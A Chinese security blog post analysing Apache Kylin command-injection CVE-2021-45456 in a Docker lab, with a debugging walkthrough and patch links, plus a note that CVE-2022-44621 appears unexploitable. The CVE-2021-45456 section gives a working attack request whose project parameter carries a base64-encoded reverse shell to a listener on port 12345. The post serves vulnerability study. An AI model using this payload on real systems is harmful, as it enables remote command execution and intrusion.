kylin CVE-2021-45456 & CVE-2022-44621

本文转自先知社区:https://xz.aliyun.com/t/12186

作者:1893936812800818

前言

CVE-2021-45456 是由于系统直接将用户请求中的project传入并执行,导致命令执行。

CVE-2022-44621 是由于系统未过滤 jobId 参数,导致可能存在命令执行(说实话,jobID应该是不可控的)。

CVE-2021-45456

漏洞报告:

  • • https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf

影响版本:

  • • Kylin 4.0.0

环境配置

IP:

本机指Docker运行的环境实例;宿主机指运行Docker的主机。

  • • 本机IP:172.17.0.2

  • • 宿主机IP:192.168.1.105

版本:

直接采用官方 docker 镜像搭建环境,进行远程调试。

  • • docker:apachekylin/apache-kylin-standalone:4.0.0

调试:

执行如下代码,修改 kylin.sh 的内容

sed -i 's/${KYLIN_TOMCAT_OPTS} -classpath/${KYLIN_TOMCAT_OPTS} -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath/g' /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh
sh /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh restart

启动:

执行如下命令即可启动 Kylin :

docker pull apachekylin/apache-kylin-standalone:4.0.0

docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 2181:2181 -p 5005:5005 apachekylin/apache-kylin-standalone:4.0.0

具体看官方的docker安装文档 https://kylin.apache.org/cn/docs/install/kylin_docker.html

其中各端口功能如下:

  • • 5005:远程调试端口

  • • 7070:http://127.0.0.1:7070/kylin/login,Kylin 页面。密码:admin KYLIN

  • • 50080:http://127.0.0.1:50070,HDFS NameNode 页面。

  • • 8088:http://127.0.0.1:8088,YARN ResourceManager 页面。

攻击

  1. 1. 登录 Kylin。账号:admin,密码:KYLIN




  1. 2. 创建一个名称为 nohupshcechoc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2O**xLjEwNS8xMjM0NSAwPiYxCgbase64d 的项目


  1. 3. 在宿主机使用 nc 监听 12345 端口


  1. 4. 在Burpsuite-repeater模块发送如下请求包:GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1
    Host: 127.0.0.1:7070
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D
    Upgrade-Insecure-Requests: 1
    在宿主机 12345 端口即可收到 shell

注意:

  1. 1. 上文中的 payload 为:`nohup sh -c "$(echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2O**yLjQ4LzEyMzQ1IDA+JjE=|base64 -d)" &`使用 base64 的原因是,路径中出现斜杠,系统会报错;使用 nohup 的原因是防止系统可能卡死;

  2. 2. 上文中项目名为 payload 中字母和数字的顺序组合。所以,反弹IP的不同,payload有所改变,需要攻击者自行调整payload。

调试

源码:

从官方库下载 Kylin4.0.0 版本

  • • https://github.com/apache/kylin/archive/refs/tags/kylin-4.0.0.zip

断点:

Idea 打开后,在org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo方法下断点:

调用栈

runNativeCommand:123, CliCommandExecutor (org.apache.kylin.common.util)
 execute:91, CliCommandExecutor (org.apache.kylin.common.util)
 execute:85, CliCommandExecutor (org.apache.kylin.common.util)
 runDiagnosisCLI:129, DiagnosisService (org.apache.kylin.rest.service)
 dumpProjectDiagnosisInfo:98, DiagnosisService (org.apache.kylin.rest.service)
 dumpProjectDiagnosisInfo:82, DiagnosisController (org.apache.kylin.rest.controller)
 ···
 ···
 tomcat调用栈忽略...
 ···

调试:

重放请求包:

GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1
 Host: 127.0.0.1:7070
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Connection: close
 Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D
 Upgrade-Insecure-Requests: 1

成功捕获断点

参数 project 的值即为 payload,直接传递给了org.apache.kylin.rest.service.DiagnosisService#dumpProjectDiagnosisInfo方法。

红框处的功能为为获取项目实例,并判断是否存在。分为两个步骤:

  • • 第一步,使用org.apache.kylin.rest.util.ValidateUtil#convertStringToBeAlphanumericUnderscore方法将 project 参数值中非字母数字和下划线的字符串替换为空。其代码实现如下:public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) {
         return toBeConverted.replaceAll("[^a-zA-Z0-9_]", "");
     }

  • • 第二步,根据处理后的project参数作为依据,获取项目实例,并判断项目实例是否存在。

而该CVE的问题正在于此,传递给 runDiagnosisCLI 方法的参数不是处理后的project参数,而是用户请求传递的原文,即图片中的 args 数组。

runDiagnosisCLI 方法将 args 数组拼接后直接传递并在后续代码中执行(不再追踪,自行调试)。

修复

补丁:

  • • https://github.com/apache/kylin/pull/1781

修复方案:参数一致。

参考

  • • https://securitylab.github.com/advisories/GHSL-2021-1048_GHSL-2021-1051_Apache_Kylin/

  • • https://y4er.com/posts/cve-2021-45456-apache-kylin-command-injection/

  • • https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf

  • • https://lists.apache.org/thread/7ctchj24dofgsj9g1rg1245cms9myb34

CVE-2022-44621

该漏洞在我的理解中,并没办法触发?

首先,触发该漏洞的api接口如下:

是一个下载job的功能,在 KYLIN 中对应的功能点如下图。

我们通过debug可知

如果 jobId 可控,那么攻击者可直接通过 http 请求植入恶意命令造成任意命令执行。

在这里我们要先说明一个事实,如果我们没办法在生成  job 时控制 jobId 的值(如CVE-2021-45456一样,新建 project 时指定了project  name),那么我们无法进一步利用。这是因为kylin首先会根据 jobId 查询是否存在该 job,然后才去执行后续步骤。

但是在我跟踪jobId的生成方式后,我发现jobId完全就是写死的 uuid,无法控制。

所以QAQ,不知道如何利用。

修复

补丁:

  • • https://github.com/apache/kylin/pull/2011/files

本文作者:dingjiacan@antvsion.com

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/201195.html

Tags:
评论  (0)
快来写下你的想法吧!

dingjiacan@antvsion.com

文章数:342 积分: 877

蚁景网安实验室(www.yijinglab.com)网络安全靶场练习平台,涉及CTF赛前指导、职业技能训练、网安专项技能提升等。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号